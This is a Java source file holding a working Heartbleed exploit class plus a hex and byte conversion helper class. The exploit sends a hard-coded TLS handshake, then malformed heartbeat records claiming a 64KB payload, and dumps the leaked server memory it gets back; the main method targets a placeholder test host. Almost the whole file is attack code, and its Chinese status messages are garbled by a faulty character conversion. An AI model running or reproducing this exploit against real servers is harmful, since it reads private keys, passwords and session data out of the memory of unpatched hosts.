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package com.jxy.web;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;
import com.jxy.tools.MyByte;
public class Heartbleed {
private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
(byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
(byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
(byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
(byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
(byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
(byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
(byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
(byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
(byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
(byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
(byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
(byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
(byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
(byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
(byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
(byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
(byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
(byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
(byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
(byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
(byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
(byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
(byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
(byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
(byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
(byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
(byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
(byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
(byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
(byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
(byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
(byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
(byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
(byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
(byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
(byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
(byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
(byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
(byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
(byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
(byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
(byte) 0x01, (byte) 0x01 };
private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
(byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
private static byte[] tmp;
private static byte[] pay;
/**
* SSL3_RT_CHANGE_CIPHER_SPEC 20
* SSL3_RT_ALERT 21
* SSL3_RT_HANDSHAKE 22
* SSL3_RT_APPLICATION_DATA 23
* TLS1_RT_HEARTBEAT 24
*
* @param args
* @throws Exception
*/
public static void main(String[] args) {
attack("改成本身測試的主機", 465);
System.exit(0);
}
public static boolean attack(String host, int port) {
System.out.println("開端銜接...");
Socket socket = null;
try {
socket = new Socket(host, port);
} catch (UnknownHostException e) {
System.out.println("未知主機.");
return false;
} catch (IOException e) {
System.out.println("拜訪主機掉敗.");
return false;
}
OutputStream out = null;
try {
out = socket.getOutputStream();
} catch (IOException e) {
System.out.println("獲得輸入流掉敗.");
return false;
}
InputStream in = null;
try {
in = socket.getInputStream();
} catch (IOException e) {
System.out.println("獲得輸出流掉敗.");
return false;
}
System.out.println("發送客戶端心跳包...");
try {
out.write(hello);
} catch (IOException e) {
System.out.println("發送心跳包掉敗.");
return false;
}
System.out.println("期待辦事器心跳包...");
while (true) {
tmp = getData(in, 5);
if (tmp[0] == 0) {
System.out.println("辦事器沒有前往心跳包而且封閉了銜接.");
return false;
}
analyseHead(tmp);
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
pay = getData(in, len);
if (tmp[0] == 22 && pay[0] == 0x0E) {
System.out.println("查找到前往正常的心跳包。");
break;
}
}
System.out.println("發送heartbeat心跳包...");
try {
out.write(bleed);
} catch (IOException e) {
System.out.println("發送heartbeat心跳包掉敗.");
return false;
}
try {
out.write(bleed);
} catch (IOException e) {
System.out.println("發送heartbeat心跳包掉敗.");
return false;
}
while (true) {
tmp = getData(in, 5);
int len = (int) MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));
if (tmp[0] == 0) {
System.out.println("沒有heartbeat前往吸收到, 辦事器看起來不是易受進擊的");
return false;
}
if (tmp[0] == 24) {
System.out.println("吸收到heartbeat前往:");
int count=0;//長度計數
for (int i = 0; i < 4; i++) {//讀4次，全體讀出64KB
pay = getData(in, len);
count+=pay.length;
System.out.print(hexdump(pay));
}
System.out.println("\n數據長度為:" + count);
if (len > 3) {
System.out
.println("正告: 辦事器前往了本來比它多的數據 -辦事器是易受進擊的!");
} else {
System.out
.println("辦事器前往畸形的heartbeat, 沒有前往其他額定的數據");
}
break;
}
if (tmp[0] == 21) {
System.out.println("吸收到正告:");
System.out.println(hexdump(pay));
System.out.println("辦事器前往毛病,看起來不是易受進擊的");
break;
}
}
try {
out.close();
in.close();
} catch (IOException e) {
System.out.println("封閉輸出輸入流異常");
}
return true;
}
public static byte[] getData(InputStream in, int lenth) {
byte[] t = new byte[lenth];
try {
in.read(t);
} catch (IOException e) {
System.out.println("接收數據毛病");
}
return t;
}
public static String hexdump(byte[] pay) {
String s = "";
try {
s = new String(pay, "GB2312");
} catch (UnsupportedEncodingException e) {
System.out.println("未知編碼");
}
return s;
}
public static void analyseHead(byte[] tmp) {
System.out.print("吸收到新聞: ");
System.out.print("類型:" + tmp[0] + "\t");
System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
+ MyByte.byteToHexString(tmp[2]) + "\t");
System.out.println("長度:"
+ MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
+ MyByte.byteToHexString(tmp[4])));
}
}
package com.jxy.tools;
/**
* 16進制值與String/Byte之間的轉換
* */
public class MyByte {
/**
* 字符串轉換成十六進制字符串
*
* @param String
* str 待轉換的ASCII字符串
* @return String 每一個Byte之間空格分隔，如: [61 6C 6B]
*/
public static String str2HexStr(String str) {
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
int bit;
for (int i = 0; i < bs.length; i++) {
bit = (bs[i] & 0x0f0) >> 4;
sb.append(chars[bit]);
bit = bs[i] & 0x0f;
sb.append(chars[bit]);
sb.append(' ');
}
return sb.toString().trim();
}
/**
* 十六進制轉換字符串
*
* @param String
* str Byte字符串(Byte之間無分隔符 如:[616C6B])
* @return String 對應的字符串
*/
public static String hexStr2Str(String hexStr) {
String str = "0123456789ABCDEF";
char[] hexs = hexStr.toCharArray();
byte[] bytes = new byte[hexStr.length() / 2];
int n;
for (int i = 0; i < bytes.length; i++) {
n = str.indexOf(hexs[2 * i]) * 16;
n += str.indexOf(hexs[2 * i + 1]);
bytes[i] = (byte) (n & 0xff);
}
return new String(bytes);
}
/**
* String的字符串轉換成unicode的String
*
* @param String
* strText 全角字符串
* @return String 每一個unicode之間無分隔符
* @throws Exception
*/
public static String strToUnicode(String strText) throws Exception {
char c;
StringBuilder str = new StringBuilder();
int intAsc;
String strHex;
for (int i = 0; i < strText.length(); i++) {
c = strText.charAt(i);
intAsc = (int) c;
strHex = Integer.toHexString(intAsc);
if (intAsc > 128)
str.append("\\u" + strHex);
else
// 低位在後面補00
str.append("\\u00" + strHex);
}
return str.toString();
}
/**
* unicode的String轉換成String的字符串
*
* @param String
* hex 16進制值字符串 （一個unicode為2byte）
* @return String 全角字符串
*/
public static String unicodeToString(String hex) {
int t = hex.length() / 6;
StringBuilder str = new StringBuilder();
for (int i = 0; i < t; i++) {
String s = hex.substring(i * 6, (i + 1) * 6);
// 高位須要補上00再轉
String s1 = s.substring(2, 4) + "00";
// 低位直接轉
String s2 = s.substring(4);
// 將16進制的string轉為int
int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
// 將int轉換為字符
char[] chars = Character.toChars(n);
str.append(new String(chars));
}
return str.toString();
}
/**
* 歸並兩個byte數組
*
* @param pByteA
* @param pByteB
* @return
*/
public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
int aCount = pByteA.length;
int bCount = pByteB.length;
byte[] b = new byte[aCount + bCount];
for (int i = 0; i < aCount; i++) {
b[i] = pByteA[i];
}
for (int i = 0; i < bCount; i++) {
b[aCount + i] = pByteB[i];
}
return b;
}
/**
* 截取byte數據
*
* @param b
* 是byte數組
* @param j
* 是年夜小
* @return
*/
public static byte[] cutOutByte(byte[] b, int j) {
if (b.length == 0 || j == 0) {
return null;
}
byte[] tmp = new byte[j];
for (int i = 0; i < j; i++) {
tmp[i] = b[i];
}
return tmp;
}
/**
* 16進制字符串轉換byte數組
*
* @param hexstr
* String 16進制字符串
* @return byte[] byte數組
*/
public static byte[] HexString2Bytes(String hexstr) {
byte[] b = new byte[hexstr.length() / 2];
int j = 0;
for (int i = 0; i < b.length; i++) {
char c0 = hexstr.charAt(j++);
char c1 = hexstr.charAt(j++);
b[i] = (byte) ((parse(c0) << 4) | parse(c1));
}
return b;
}
private static int parse(char c) {
if (c >= 'a')
return (c - 'a' + 10) & 0x0f;
if (c >= 'A')
return (c - 'A' + 10) & 0x0f;
return (c - '0') & 0x0f;
}
/**
* byte轉換為十六進制字符串，假如為9之內的，用0補齊
*
* @param b
* @return
*/
public static String byteToHexString(byte b) {
String stmp = Integer.toHexString(b & 0xFF);
stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
return stmp.toUpperCase();
}
/**
* 將byte轉換為int
*
* @param b
* @return
*/
public static int byteToInt(byte b) {
return Integer.valueOf(b);
}
/**
* bytes轉換成十六進制字符串
*
* @param byte[] b byte數組
* @return String 每一個Byte值之間空格分隔
*/
public static String byteToHexString(byte[] b) {
String stmp = "";
StringBuilder sb = new StringBuilder("");
for (byte c : b) {
stmp = Integer.toHexString(c & 0xFF);// 與預算，去失落byte轉int帶來的補位
sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一名的話填充零
sb.append(" ");// 每位數據用空格分隔
}
return sb.toString().toUpperCase().trim();// 變換年夜寫，並去除首尾空格
}
public static long HexString2Long(String hexstr) {
long sum=0;
int length=hexstr.length();
for (int i = 0; i < length; i++) {
sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
}
return sum;
}
}
